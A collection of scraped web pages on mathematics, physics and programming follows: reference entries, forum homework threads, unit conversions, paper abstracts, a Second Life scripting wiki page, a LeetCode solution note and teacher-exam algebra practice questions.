ago 68 Replies 6 Medals", null, "Gorillaz1002: i need your opinion on this i updated it a little\n1 hour ago 23 Replies 3 Medals", null, "xXQuintonXx: @aevans182 ur dm's r off -_-\n1 hour ago 0 Replies 0 Medals", null, "MrsHero: Help ss down below ;/..\n1 hour ago 7 Replies 1 Medal", null, "MrsHero: Help ss down below ;/\n1 hour ago 0 Replies 0 Medals", null, "nettym: math help please.\n1 hour ago 10 Replies 2 Medals", null, "MrsHero: Can yall rate my pic i took in Meepcity/roblox SS down bellow\n1 hour ago 8 Replies 0 Medals", null, "MrsHero: Helpp ss down bellow i suck at math thts wy im here u270c\n1 hour ago 5 Replies 0 Medals", null, "DONTPISSWITHME: What is 45^2 please help me\n1 hour ago 21 Replies 1 Medal" ]
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https://mathworld.wolfram.com/EdgeColoring.html
[ "", null, "TOPICS", null, "", null, "# Edge Coloring", null, "An edge coloring of a graph", null, "is a coloring of the edges of", null, "such that adjacent edges (or the edges bounding different regions) receive different colors. An edge coloring containing the smallest possible number of colors for a given graph is known as a minimum edge coloring.\n\nA (not necessarily minimum) edge coloring of a graph can be computed using EdgeColoring[g] in the Wolfram Language package Combinatorica` .\n\nThe edge chromatic number gives the minimum number of colors with which graph's edges can be colored.\n\nChromatic Number, Edge Chromatic Number, Graph Coloring, k-Coloring, Labeled Graph, Minimum Edge Coloring, Minimum Vertex Coloring, Vertex Coloring\n\n## Explore with Wolfram|Alpha", null, "More things to try:\n\n## References\n\nFiorini, S. and Wilson, R. Edge-Colourings of Graphs. Pittman, 1977.Nemhauser, G. L. and Park, S. \"A Polyhedral Approach to Edge Coloring.\" Operations Res. Lett. 10, 315-322, 1991.Saaty, T. L. and Kainen, P. C. The Four-Color Problem: Assaults and Conquest. New York: Dover, p. 13, 1986.Skiena, S. \"Edge Colorings.\" §5.5.4 in Implementing Discrete Mathematics: Combinatorics and Graph Theory with Mathematica. Reading, MA: Addison-Wesley, p. 216, 1990.\n\nEdge Coloring\n\n## Cite this as:\n\nWeisstein, Eric W. \"Edge Coloring.\" From MathWorld--A Wolfram Web Resource. https://mathworld.wolfram.com/EdgeColoring.html" ]
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https://irmar.univ-rennes1.fr/seminaire/cryptographie/andre-schrottenloher
[ "# Improved Classical and Quantum Algorithms for Subset-Sum\n\nWe present new classical and quantum algorithms for solving random hard instances\nof the subset-sum problem, in which we are given n integers on n bits and try\nto find a subset of them that sums to a given target. This classical NP-complete\nproblem has several applications in cryptography and underlies the security\nof some proposed post-quantum cryptosystems.\n\nAt EUROCRYPT 2010, Howgrave-Graham and Joux (HGJ) introduced the representation\ntechnique and presented an algorithm running in  time $\\bigOt{2^{0.337 n}}$.\nThis asymptotic time was improved by Becker, Coron, Joux (BCJ) at EUROCRYPT 2011.\nWe show how to improve this further.\n\nWe then move to the context of quantum algorithms. The two previous\nquantum speedups in the literature are given by Bernstein, Jeffery, Lange\nand Meurer (PQCRYPTO 2013) and Helm and May (TQC 2018), which are respectively\nquantum versions of HGJ and BCJ. They both rely on the framework of quantum\nwalks, use exponential quantum memory with quantum random-access and require\nan unproven conjecture on quantum walk updates.\n\nWe devise a new algorithm, using quantum search only,\nthat achieves the first quantum speedup in the model of \\emph{classical}\nmemory with quantum random access. Next, we study improvements for the\nquantum walks. We show how to avoid the quantum walk conjecture and give\na better quantum walk time complexity for subset-sum." ]
[ null ]
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https://www.physicsforums.com/threads/simple-dimensional-analysis.831246/
[ "# Simple Dimensional Analysis\n\n## Homework Statement\n\nIs the following equation dimensionally correct?\n\nE = (1/2) mv\nwhere:\nE = energy\nm = mass\nv = speed\n\n## The Attempt at a Solution\n\n1. I understand that the 1/2 is irrelevant.\n2. I broke everything down into length, time, and mass.\n3. I got ML^2/T^2 = ML/T\n4. My confusion is that if you square L and T on the left side, you still have length and time so I mean essentially, you have the same types of quantities on both sides of the equation in the same order, so I want to say it is correct, however the fact that L and T are squared on the left side but not on the right side bugs me and I'm doubtful.\n\n## Homework Statement\n\nIs the following equation dimensionally correct?\n\nBy \"the following equation\" do you mean E=(1/2)mv^2 ?\n\nBy \"the following equation\" do you mean E=(1/2)mv^2 ?\nI was referring to the equation under Relevant Equations (my apologies, should've clarified that), which is E=(1/2)mv\n\nI was referring to the equation under Relevant Equations (my apologies, should've clarified that), which is E=(1/2)mv\n\nYou are missing ^2 at the end of the equation: it should be E = (1/2)mv^2.\n\nYou are missing ^2 at the end of the equation: it should be E = (1/2)mv^2.\nOkay so it isn't dimensionally correct? The book just gives me an equation (it's not necessarily supposed to be right or wrong) and I'm just supposed to say whether the given equation is dimensionally correct. But since the equation itself is wrong then I'm going to assume that the correct version is dimensionally correct and this one is not.\n\nOkay so it isn't dimensionally correct? The book just gives me an equation (it's not necessarily supposed to be right or wrong) and I'm just supposed to say whether the given equation is dimensionally correct. But since the equation itself is wrong then I'm going to assume that the correct version is dimensionally correct and this one is not.\n\nAbsolutely right. As you have pointed out from the beginning LHS has extra L/T that RHS does not have, therefore it cannot be dimensionally correct.\n\n•", null, "Michele Nunes" ]
[ null, "data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7", null ]
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https://www.igi-global.com/chapter/complex-valued-symmetric-radial-basis/6768
[ "", null, "# Complex-Valued Symmetric Radial Basis Function Network for Beamforming\n\nSheng Chen\nDOI: 10.4018/978-1-60566-214-5.ch007\nOnDemand:\n(Individual Chapters)\nAvailable\n\\$37.50\nNo Current Special Offers\n\n## Abstract\n\nThe complex-valued radial basis function (RBF) network proposed by Chen et al. (1994) has found many applications for processing complex-valued signals, in particular, for communication channel equalization and signal detection. This complex-valued RBF network, like many other existing RBF modeling methods, constitutes a black-box approach that seeks typically a sparse model representation extracted from the training data. Adopting black-box modeling is appropriate, if no a priori information exists regarding the underlying data generating mechanism. However, a fundamental principle in practical data modelling is that if there exists a priori information concerning the system to be modeled it should be incorporated in the modeling process. Many complex-valued signal processing problems, particularly those encountered in communication signal detection, have some inherent symmetric properties. This contribution adopts a grey-box approach to complex-valued RBF modeling and develops a complex-valued symmetric RBF (SRBF) network model. The application of this SRBF network is demonstrated using nonlinear beamforming assisted detection for multiple-antenna aided wireless systems that employ complex-valued modulation schemes. Two training algorithms for this complex-valued SRBF network are proposed. The first method is based on a modified version of the cluster-variation enhanced clustering algorithm, while the second method is derived by modifying the orthogonal-forward-selection procedure based on Fisher ratio of class separability measure. The effectiveness of the proposed complex-valued SRBF network and the efficiency of the two training algorithms are demonstrated in nonlinear beamforming application.\nChapter Preview\nTop\n\n## Introducion\n\nThe radial basis function (RBF) network is a popular artificial neural network (ANN) architecture that has found wide-ranging applications in many diverse fields of engineering, see for example, (Chen et al., 1990; Leonard & Kramer, 1991; Chen et al., 1993; Caiti & Parisini, 1994; Gorinevsky et al., 1996; Cha & Kassam, 1996; Rosenblum & Davis, 1996; Refaee et al., 1999; Muraki et al., 2001; Mukai, et al., 2002; Su et al., 2002; Li et al., 2004; Lee & Choi, 2004; Ng et al., 2004; Oyang et al., 2005; Acir et al., 2005; Tan et al., 2005). The RBF method is a classical numerical technique for nonlinear functional interpolation with real-valued data (Powell, 1987). A renewed interest in the RBF method coincided with a recent resurgence in the field of ANNs. Connections between the RBF method and the ANN was made and the RBF model was re-interpreted as a one-hidden-layer feedforward network (Broomhead & Lowe, 1988; Poggio & Girosi, 1990). Specifically, by adopting the ANN interpretation, a RBF model can be considered as a processing structure consisting of a hidden layer and an output layer. Each node in the hidden layer has a radially symmetric response around a node parameter vector called a centre, with the hidden node’s response shape determined by the chosen basis function as well as a node width parameter, while the output layer is a set of linear combiners with linear connection weights.\n\nThe parameters of the RBF network include its centre vectors and variances or covariance matrices of the basis functions as well as the weights that connect the RBF nodes to the network output. All the parameters of a RBF network can be learned together via nonlinear optimisation using the gradient based algorithms (Chen et al., 1990a; An et al., 1993; McLoone et al., 1998; Karayiannis et al., 2003; Peng et al., 2003), the evolutionary algorithms (Whitehead & Choate, 1994; Whitehead, 1996; Gonzalez et al., 2003) or the expectation-maximisation algorithm (Yang & Chen, 1998; Mak & Kung, 2000). Generally, learning based on such a nonlinear approach is computationally expensive and may encounter the problem of local minima. Additionally, the network structure or the number of RBF nodes has to be determined via other means, typically based on cross validation. Alternatively, clustering algorithms can be applied to find the RBF centre vectors as well as the associated basis function variances (Moody & Darken, 1989; Chen et al., 1992; Chen, 1995; Uykan, 2003). This leaves the RBF weights to be determined by the usual linear least squares solution. Again, the number of the clusters has to be determined via other means, such as cross validation. One of the most popular approaches for constructing RBF networks however is to formulate the problem as a linear learning one by considering the training input data points as candidate RBF centres and employing a common variance for every RBF node. A parsimonious RBF network is then identified using the orthogonal least squares (OLS) algorithm (Chen et al., 1989; Chen et al., 1991; Chen et al., 1999; Chen et al., 2003; Chen et al., 2004a).\n\n## Complete Chapter List\n\nSearch this Book:\nReset" ]
[ null, "https://coverimages.igi-global.com/cover-images/covers/9781605662145.jpg", null ]
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https://converter.ninja/volume/metric-teaspoons-to-us-tablespoons/507-brteaspoon-to-ustablespoon/
[ "# 507 metric teaspoons in US tablespoons\n\n## Conversion\n\n507 metric teaspoons is equivalent to 171.437095098344 US tablespoons.\n\n## Conversion formula How to convert 507 metric teaspoons to US tablespoons?\n\nWe know (by definition) that: $1\\mathrm{brteaspoon}\\approx 0.33814022701843\\mathrm{ustablespoon}$\n\nWe can set up a proportion to solve for the number of US tablespoons.\n\n$1 ⁢ brteaspoon 507 ⁢ brteaspoon ≈ 0.33814022701843 ⁢ ustablespoon x ⁢ ustablespoon$\n\nNow, we cross multiply to solve for our unknown $x$:\n\n$x\\mathrm{ustablespoon}\\approx \\frac{507\\mathrm{brteaspoon}}{1\\mathrm{brteaspoon}}*0.33814022701843\\mathrm{ustablespoon}\\to x\\mathrm{ustablespoon}\\approx 171.437095098344\\mathrm{ustablespoon}$\n\nConclusion: $507 ⁢ brteaspoon ≈ 171.437095098344 ⁢ ustablespoon$", null, "## Conversion in the opposite direction\n\nThe inverse of the conversion factor is that 1 US tablespoon is equal to 0.00583304330621302 times 507 metric teaspoons.\n\nIt can also be expressed as: 507 metric teaspoons is equal to $\\frac{1}{\\mathrm{0.00583304330621302}}$ US tablespoons.\n\n## Approximation\n\nAn approximate numerical result would be: five hundred and seven metric teaspoons is about one hundred and seventy-one point four three US tablespoons, or alternatively, a US tablespoon is about zero point zero one times five hundred and seven metric teaspoons.\n\n## Footnotes\n\n The precision is 15 significant digits (fourteen digits to the right of the decimal point).\n\nResults may contain small errors due to the use of floating point arithmetic.\n\nWas it helpful? Share it!" ]
[ null, "https://converter.ninja/images/507_brteaspoon_in_ustablespoon.jpg", null ]
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https://emresahin.net/pgm-course-notes/
[ "# Preliminaries\n\n## Distributions\n\nSuppose A has 2, B has 2 and C has 3 possible values. Their Joint Probability Distribution will contain 2x2x3=12 values.\n\nWe can condition the values by setting a variable to a certain value.\n\nWe can also marginalize the values to a certain variable and check the distribution of this single variable.\n\n# Factors\n\nA factor $\\phi$ is a function that takes values for A, B and C and returns a real value.\n\nThe arguments that the factor takes are called the scope of the factor.\n\nBoth normalized and unnormalized measures are factors. But the scope of each can change.\n\nCPD (Conditional Probability Distribution) is another example of a factor." ]
[ null ]
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https://convertoctopus.com/444-cubic-centimeters-to-teaspoons
[ "## Conversion formula\n\nThe conversion factor from cubic centimeters to teaspoons is 0.20288413535365, which means that 1 cubic centimeter is equal to 0.20288413535365 teaspoons:\n\n1 cm3 = 0.20288413535365 tsp\n\nTo convert 444 cubic centimeters into teaspoons we have to multiply 444 by the conversion factor in order to get the volume amount from cubic centimeters to teaspoons. We can also form a simple proportion to calculate the result:\n\n1 cm3 → 0.20288413535365 tsp\n\n444 cm3 → V(tsp)\n\nSolve the above proportion to obtain the volume V in teaspoons:\n\nV(tsp) = 444 cm3 × 0.20288413535365 tsp\n\nV(tsp) = 90.080556097022 tsp\n\nThe final result is:\n\n444 cm3 → 90.080556097022 tsp\n\nWe conclude that 444 cubic centimeters is equivalent to 90.080556097022 teaspoons:\n\n444 cubic centimeters = 90.080556097022 teaspoons\n\n## Alternative conversion\n\nWe can also convert by utilizing the inverse value of the conversion factor. In this case 1 teaspoon is equal to 0.011101174807613 × 444 cubic centimeters.\n\nAnother way is saying that 444 cubic centimeters is equal to 1 ÷ 0.011101174807613 teaspoons.\n\n## Approximate result\n\nFor practical purposes we can round our final result to an approximate numerical value. We can say that four hundred forty-four cubic centimeters is approximately ninety point zero eight one teaspoons:\n\n444 cm3 ≅ 90.081 tsp\n\nAn alternative is also that one teaspoon is approximately zero point zero one one times four hundred forty-four cubic centimeters.\n\n## Conversion table\n\n### cubic centimeters to teaspoons chart\n\nFor quick reference purposes, below is the conversion table you can use to convert from cubic centimeters to teaspoons\n\ncubic centimeters (cm3) teaspoons (tsp)\n445 cubic centimeters 90.283 teaspoons\n446 cubic centimeters 90.486 teaspoons\n447 cubic centimeters 90.689 teaspoons\n448 cubic centimeters 90.892 teaspoons\n449 cubic centimeters 91.095 teaspoons\n450 cubic centimeters 91.298 teaspoons\n451 cubic centimeters 91.501 teaspoons\n452 cubic centimeters 91.704 teaspoons\n453 cubic centimeters 91.907 teaspoons\n454 cubic centimeters 92.109 teaspoons" ]
[ null ]
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https://algebra-help.com/algebra-help-factor/angle-complements/how-to-figure-an-interest.html
[ "", null, "# Our users:\n\nDon Woodward, ND\n\nThis new version is a vast improvement over the old one.\nGus Taylor, AZ\n\nAlgebrator is simply amazing. Who knew that such an inexpensive program would make my sons grades improve so much.\nDavid Brown, CA\n\nI think this is a great piece of software. I applaud your efforts to bring a product to struggling math students such as myself.\nGeorge Tereckski, MA\n\nIts been a long time since I needed to understand algebra and when it came time to helping my son, I couldnt do it. Now, with your algebra software, we are both learning together.\nJ.S., Alabama\n\n# Students struggling with all kinds of algebra problems find out that our software is a life-saver. Here are the search phrases that today's searchers used to find our site. Can you find yours among them?\n\nSearch phrases used on 2011-06-29:\n\n• negative fractions\n• online calculators to find greatest common factor of monomials in algebra equations\n• aptitude questions on cubes\n• clep algebra study\n• Bitsize KS2 algebra\n• If you are looking at a graph of a qaudratic equation , how do you determine where the solutions are?\n• online inequality calculator\n• second order differential equation system of first order\n• dependent probability ti-83\n• free percentage worksheet\n• cube root 25\n• ti 89 pre calculus software\n• Nelson Math Worksheets For grade sevens\n• matlab non-linear equations\n• blank scale worksheet + prealgebra\n• multiply and simplify rational expressions calculator\n• cost accouting + problem solutions\n• kumon algebra\n• parabola standard form\n• combining like terms lesson plans\n• algebra printouts\n• find equation of line parallel solver\n• ti-89+solve complex number matrices\n• example math trivia question algebra\n• maths sheets for 7 year olds\n• Hash calc SH1\n• multiplication of cuberoot by a squareroot\n• algebra calculator free\n• formula of substitution method\n• square root in excel\n• adding subtracting decimal story problem worksheet\n• \"aleks cheat\"\n• worksheet about subtraction of integers\n• intermediate algebra by washington\n• collegealgebrahelp\n• algebra 1 solving linear equations worksheet\n• estimate evaluate difference\n• online calculate gcd\n• ti-89+pdf\n• beginning algebra worksheets for 6th grade\n• activity +powers and square roots\n• solve \"quadratic equation\" vertex two points\n• calculator complex number equations sistems\n• one proportion z test problems\n• trivia on vector measurement\n• sample test paper for apptitude\n• invention of mathematical value 'pie'\n• finding the slope in a grid\n• FACTORING BY THE SAME CUBES\n• math trivia high school\n• multiplying standard form\n• math test pdf\n• exercise on permutations\n• forth grade stuff to do online\n• Simultaneous equations for dummies\n• extracting square root\n• graphing calculator answers into factions\n• cost accounting basics\n• PLANE WORKSHEETS\n• What is the basic principle that can be used to simplify a polynomial\n• permutation and combination +books\n• Simplify the expression with square roots\n• range of a quadratic equation\n• examples of math trivias\n• base 8 conversion ti-89\n• factor expressions calculator\n• real solution of the equation by factoring\n• group theory problems and answers\n• different poems in algebra\n• math trivia questions on sets,fractions and integer\n• math trivias\n• teaching of permutation and combination made easy\n• formula for fractions to decimal" ]
[ null, "https://algebra-help.com/images/template/phone.jpg", null ]
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https://www.nagwa.com/en/lessons/303165635278/
[ "# Lesson: Expected Values of Discrete Random Variables Mathematics • 10th Grade\n\nIn this lesson, we will learn how to calculate the expected value of a discrete random variable from a table, a graph, and a word problem." ]
[ null ]
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https://library.wolfram.com/infocenter/Courseware/7591/
[ "", null, "", null, "", null, "", null, "", null, "", null, "", null, "", null, "", null, "", null, "", null, "", null, "", null, "", null, "", null, "", null, "", null, "", null, "", null, "", null, "Title", null, "", null, "", null, "", null, "Rational Functions: Slant Asymptotes", null, "", null, "", null, "Author", null, "", null, "", null, "", null, "Andy Dorsett\n Organization: Wolfram Research, Inc.", null, "", null, "", null, "Education level", null, "", null, "", null, "", null, "Precollege", null, "", null, "", null, "Description", null, "", null, "", null, "", null, "Students will predict when a rational function will have a slant (or oblique) asymptote and demonstrate how that affects the behavior of the graph.\n\nThis notebook covers topics that fulfill the following NCTM standards:\n• Algebra 9 - 12: Understand patterns, relations, and functions\n• Algebra 9 - 12: Represent and analyze mathematical situations and structures using algebraic symbols", null, "", null, "", null, "Subjects", null, "", null, "", null, "", null, "", null, "Education > Precollege", null, "Mathematics > Algebra", null, "Mathematics > Calculus and Analysis", null, "Mathematics > Calculus and Analysis > Calculus", null, "Mathematics > Geometry", null, "Mathematics > Geometry > Analytic Geometry", null, "Teaching", null, "", null, "", null, "Keywords", null, "", null, "", null, "", null, "Algebra 2, College Algebra, Pre-Calculus, Analytic Geometry, Rational Functions, Slant Asymptotes, Oblique, Graphing, High School, Precollege, NCTM", null, "", null, "", null, "URL", null, "", null, "", null, "", null, "http://www.wolfram.com/solutions/precollege", null, "", null, "", null, "Downloads", null, "", null, "", null, "", null, "", null, "RationalFunctionsSlantAsymptotes.nb (389.5 KB) - Mathematica Notebook", null, "", null, "", null, "", null, "", null, "", null, "", null, "" ]
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https://mcqclass10.com/if-the-power-of-a-lens-is-4-0d-then-it-means-that-the-lens-is-a/
[ "# If the power of a lens is – 4.0D then it means that the lens is a\n\nQ.) If the power of a lens is – 4.0D then it\nmeans that the lens is a\n\n(a) concave lens of focal length -50 m\n\n(b) convex lens of focal length +50 cm\n\n(c) concave lens of focal length -25 cm\n\n(d) convex lens of focal length -25 m\n\nAns. (c) concave lens of focal length -25 cm" ]
[ null ]
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https://se.mathworks.com/matlabcentral/answers/400044-how-do-i-write-the-code-for-navierstokes-equation-in-matlab-comsol
[ "# How do i write the code for navierstokes equation in matlab/comsol?\n\n9 views (last 30 days)\nBartholomew Osegbe on 10 May 2018\nAnswered: Bartholomew Osegbe on 13 May 2018\nThe idea is to write the code for the navierstokes equation with the laplacian velocity and pressure term\nKSSV on 10 May 2018\nYou want it in comsol? So this is not the forum. You want in MATLAB? What have you attempted?\n\nPrecise Simulation on 10 May 2018\nThe incompressible Navier-Stokes equations is also available as a built-in pre-defined Navier-Stokes physics mode in the FEATool FEM Matlab toolbox. In this case the equations are in 2D defined as\nrho_ns*u' - miu_ns*(2*ux_x + uy_y + vx_y) + rho_ns*(u*ux_t + v*uy_t) + p_x = Fx_ns\nrho_ns*v' - miu_ns*(vx_x + uy_x + 2*vy_y) + rho_ns*(u*vx_t + v*vy_t) + p_y = Fy_ns\nux_t + vy_t = 0\nthe Navier-Stokes equations in axisymmetry (2D cylindrical coordinates) and 3D are defined similarly.\n\nBartholomew Osegbe on 10 May 2018\nI have attempted the weak method fem.equ.weak = { ... { ... {'(-eta*ux)*test(ux)+(-eta*uy)*test(uy)-test(u)*px'} ... {'(-eta*vx)*test(vx)+(-eta*vy)*test(vy)-test(v)*py'} ... {'-test(px)*u-test(py)*v'} ... } ... }; but I have errors and when I sourced online I found a code that uses the poisson equation but just wanted a simple code with a laplacian velocity and pressure term.\n\nAmeer Hamza on 10 May 2018\nYou may find these FEX submission useful:\n\nBartholomew Osegbe on 13 May 2018\n\n### Categories\n\nFind more on Structural Mechanics in Help Center and File Exchange\n\n### Tags\n\nNo tags entered yet.\n\n### Community Treasure Hunt\n\nFind the treasures in MATLAB Central and discover how the community can help you!\n\nStart Hunting!" ]
[ null ]
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http://web.gauhati.ac.in/research/statistics
[ "### Statistics", null, "Bayesian inference for queuing model Bayesian inference & prediction for queuing model Amit Choudhury and his collaborator estimate traffic intensity for single server queuing model using Bayesian inference. Bayesian inference is an important technique in mathematical statistics, which uses Bayes' theorem to update the probability for a hypothesis as more evidence or information becomes available. This research works is published in the journal Communications in Statistics - Simulation and Computation. Authors Arpita Basak and Amit Choudhury Department of Statistics, GU Abstract This paper is concerned with the problem of estimating traffic intensity, ρ for single server queuing model in which inter-arrival and service times are exponentially distributed (Markovian) using data on queue size (number of customers present in the queue) observed at any random point of time. Here, it is assumed that ρ is unknown but random quantity. Bayes estimator of ρ are derived under squared error loss function assuming two forms of prior information on ρ. The performance of the proposed Bayes estimators is compared with that of the corresponding classical version estimator based on max- imum likelihood principle. The model comparison criterion based on Bayes factor is used to select a suitable prior for Bayesian analysis. Journal Reference Commun Stat - Simul Comput (2019).", null, "" ]
[ null, "http://web.gauhati.ac.in/research/_/rsrc/1554797349101/people/arrow.png", null, "http://web.gauhati.ac.in/research/_/rsrc/1554797349393/people/pulse-line.png", null ]
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https://wiki.secondlife.com/wiki/LlGetDate
[ "# llGetDate\n\n LSL Portal\nFunction: string llGetDate( );\n 204 Function ID 0 Forced Delay 10 Energy\n\nReturns a string that is the current date in the UTC time zone in the format \"YYYY-MM-DD\".\n\nIf you wish to know the time as well use: llGetTimestamp which uses the format \"YYYY-MM-DDThh:mm:ss.ff..fZ\"\n\n## Examples\n\n```// Birthday surprise\ndefault\n{\nstate_entry()\n{\nllSetTimerEvent(0.1);\n}\n\ntimer()\n{\nif(llGetDate() == \"2009-02-15\")\nllSetText(\"HAPPY BIRTHDAY!\", <0,1,0>, 1.0);\nelse\nllSetText(\"A surprise is coming...\", <0,1,0>, 1.0);\n\nllSetTimerEvent(3600.0); // check every hour.\n}\n}\n```\n```// Function to calculate the numeric day of year\ninteger dayOfYear(integer year, integer month, integer day)\n{\nreturn day + (month - 1) * 30 + (((month > 8) + month) / 2)\n- ((1 + (((!(year % 4)) ^ (!(year % 100)) ^ (!(year % 400))) | (year <= 1582))) && (month > 2));\n}\n\ndefault\n{\ntouch_end(integer count)\n{\nlist dateComponents = llParseString2List(llGetDate(), [\"-\"], []);\ninteger year = (integer) llList2String(dateComponents, 0);\ninteger month = (integer) llList2String(dateComponents, 1);\ninteger day = (integer) llList2String(dateComponents, 2);\nllSay(0, \"The current day of the year is \" + (string) dayOfYear(year, month, day));\n}\n}\n```\n```// Function to calculate whether a current year is a leap year\n\ninteger is_leap_year( integer year )\n{\nif( year % 4 ) return FALSE; // Not a leap year under any circumstances\nif( year <= 1582 ) return TRUE; // In the Julian calender before 24 February 1582, every fourth year was a leap year\nif( !( year % 400 )) return TRUE; // A leap century is a leap year if divisible by 400\nif( !( year % 100 )) return FALSE; // Any other century is not a leap year\nreturn TRUE; // It is divisible by 4 and not a century and not Julian, therefore it is a leap year\n}\n```\n\nThe previous script is way unnecessary for Avatar age, SL sales history etc. Here is all that is needed for 99% of SL applications.\n\nThis code is in fact valid for all years from 1901 to 2099, as 2000 was a leap year.\n\n``` if (year % 4) // TRUE if NOT a leap year\n```\n\n## Useful Snippets\n\n### Functions\n\n • llGetTimestamp – Same format but with the time.\n\n### Articles\n\n • ISO 8601\n\n## Deep Notes\n\n#### Signature\n\n```function string llGetDate();\n```" ]
[ null ]
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https://zxi.mytechroad.com/blog/math/leetcode-1588-sum-of-all-odd-length-subarrays/
[ "Given an array of positive integers arr, calculate the sum of all possible odd-length subarrays.\n\nA subarray is a contiguous subsequence of the array.\n\nReturn the sum of all odd-length subarrays of arr.\n\nExample 1:\n\nInput: arr = [1,4,2,5,3]\nOutput: 58\nExplanation: The odd-length subarrays of arr and their sums are:\n = 1\n = 4\n = 2\n = 5\n = 3\n[1,4,2] = 7\n[4,2,5] = 11\n[2,5,3] = 10\n[1,4,2,5,3] = 15\nIf we add all these together we get 1 + 4 + 2 + 5 + 3 + 7 + 11 + 10 + 15 = 58\n\nExample 2:\n\nInput: arr = [1,2]\nOutput: 3\nExplanation: There are only 2 subarrays of odd length, and . Their sum is 3.\n\nExample 3:\n\nInput: arr = [10,11,12]\nOutput: 66\n\n\nConstraints:\n\n• 1 <= arr.length <= 100\n• 1 <= arr[i] <= 1000\n\n## Solution 0: Brute Force\n\nEnumerate all odd length subarrys: O(n^2), each take O(n) to compute the sum.\n\nTotal time complexity: O(n^3)\nSpace complexity: O(1)\n\n## Solution 1: Running Prefix Sum\n\nReduce the time complexity to O(n^2)\n\n## Solution 2: Math\n\nCount how many times arr[i] can be in of an odd length subarray\nwe chose the start, which can be 0, 1, 2, … i, i + 1 choices\nwe chose the end, which can be i, i + 1, … n – 1, n – i choices\nAmong those 1/2 are odd length.\nSo there will be upper((i + 1) * (n – i) / 2) odd length subarrays contain arr[i]\n\nans = sum(((i + 1) * (n – i) + 1) / 2 * arr[i] for in range(n))\n\nTime complexity: O(n)\nSpace complexity: O(1)\n\n## C++\n\nIf you like my articles / videos, donations are welcome.\n\nBuy anything from Amazon to support our website", null, "" ]
[ null, "data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==", null ]
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https://debraborkovitz.com/0020-algebra-as-generalized-arithmetic/
[ "Hints will display for most wrong answers; explanations for most right answers.   You can attempt a question multiple times; it will only be scored correct if you get it right the first time.\n\nI used the official objectives and sample test to construct these questions, but cannot promise that they accurately reflect what’s on the real test.   Some of the sample questions were more convoluted than I could bear to write.   See terms of use.   See the MTEL Practice Test main page to view random questions on a variety of topics or to download paper practice tests.\n\n## MTEL General Curriculum Mathematics Practice\n\n Question 1\n\n#### Some children explored the diagonals in 2 x 2 squares on pages of a calendar (where all four squares have numbers in them).  They conjectured that the sum of the diagonals is always equal; in the example below, 8+16=9+15.", null, "#### Which of the equations below could best be used to explain why the children's conjecture is correct?\n\n A $$\\large 8x+16x=9x+15x$$Hint: What would x represent in this case? Make sure you can describe in words what x represents. B $$\\large x+(x+2)=(x+1)+(x+1)$$Hint: What would x represent in this case? Make sure you can describe in words what x represents. C $$\\large x+(x+8)=(x+1)+(x+7)$$Hint: x is the number in the top left square, x+8 is one below and to the right, x+1 is to the right of x, and x+7 is below x. D $$\\large x+8+16=x+9+15$$Hint: What would x represent in this case? Make sure you can describe in words what x represents.\nQuestion 1 Explanation:\nTopic: Recognize and apply the concepts of variable, equality, and equation to express relationships algebraically (Objective 0020).\n Question 2\n\n#### The result is always the number that you started with! Suppose you start by picking N. Which of the equations below best demonstrates that the result after Step 6 is also N?\n\n A $$\\large N*2+20*5-100\\div 10=N$$Hint: Use parentheses or else order of operations is off. B $$\\large \\left( \\left( 2*N+20 \\right)*5-100 \\right)\\div 10=N$$ C $$\\large \\left( N+N+20 \\right)*5-100\\div 10=N$$Hint: With this answer you would subtract 10, instead of subtracting 100 and then dividing by 10. D $$\\large \\left( \\left( \\left( N\\div 10 \\right)-100 \\right)*5+20 \\right)*2=N$$Hint: This answer is quite backwards.\nQuestion 2 Explanation:\nTopic: Recognize and apply the concepts of variable, function, equality, and equation to express relationships algebraically (Objective 0020).\n Question 3\n\n A $$\\large 0.8p=\\8.73$$Hint: 80% of the regular price = $8.73. B $$\\large \\8.73+0.2*\\8.73=p$$Hint: The 20% off was off of the ORIGINAL price, not off the$8.73 (a lot of people make this mistake). Plus this is the same equation as in choice c. C $$\\large 1.2*\\8.73=p$$Hint: The 20% off was off of the ORIGINAL price, not off the $8.73 (a lot of people make this mistake). Plus this is the same equation as in choice b. D $$\\large p-0.2*\\8.73=p$$Hint: Subtract p from both sides of this equation, and you have -.2 x 8.73 =0. Question 3 Explanation: Topics: Use algebra to solve word problems involving percents and identify variables, and derive algebraic expressions that represent real-world situations (Objective 0020). Question 4 #### Taxicab fares in Boston (Spring 2012) are$2.60 for the first $$\\dfrac{1}{7}$$ of a mile or less and $0.40 for each $$\\dfrac{1}{7}$$ of a mile after that. #### Let d represent the distance a passenger travels in miles (with $$d>\\dfrac{1}{7}$$). Which of the following expressions represents the total fare? A $$\\large \\2.60+\\0.40d$$Hint: It's 40 cents for 1/7 of a mile, not per mile. B $$\\large \\2.60+\\0.40\\dfrac{d}{7}$$Hint: According to this equation, going 7 miles would cost$3; does that make sense? C $$\\large \\2.20+\\2.80d$$Hint: You can think of the fare as $2.20 to enter the cab, and then$0.40 for each 1/7 of a mile, including the first 1/7 of a mile (or $2.80 per mile). Alternatively, you pay$2.60 for the first 1/7 of a mile, and then $2.80 per mile for d-1/7 miles. The total is 2.60+2.80(d-1/7) = 2.60+ 2.80d -.40 = 2.20+2.80d. D $$\\large \\2.60+\\2.80d$$Hint: Don't count the first 1/7 of a mile twice. Question 4 Explanation: Topic: Identify variables and derive algebraic expressions that represent real-world situations (Objective 0020), and select the linear equation that best models a real-world situation (Objective 0022). Question 5 #### Cell phone plan A charges$3 per month plus $0.10 per minute. Cell phone plan B charges$29.99 per month, with no fee for the first 400 minutes and then $0.20 for each additional minute. #### Which equation can be used to solve for the number of minutes, m (with m>400) that a person would have to spend on the phone each month in order for the bills for plan A and plan B to be equal? A $$\\large 3.10m=400+0.2m$$Hint: These are the numbers in the problem, but this equation doesn't make sense. If you don't know how to make an equation, try plugging in an easy number like m=500 minutes to see if each side equals what it should. B $$\\large 3+0.1m=29.99+.20m$$Hint: Doesn't account for the 400 free minutes. C $$\\large 3+0.1m=400+29.99+.20(m-400)$$Hint: Why would you add 400 minutes and$29.99? If you don't know how to make an equation, try plugging in an easy number like m=500 minutes to see if each side equals what it should. D $$\\large 3+0.1m=29.99+.20(m-400)$$Hint: The left side is $3 plus$0.10 times the number of minutes. The right is $29.99 plus$0.20 times the number of minutes over 400.\nQuestion 5 Explanation:\nIdentify variables and derive algebraic expressions that represent real-world situations 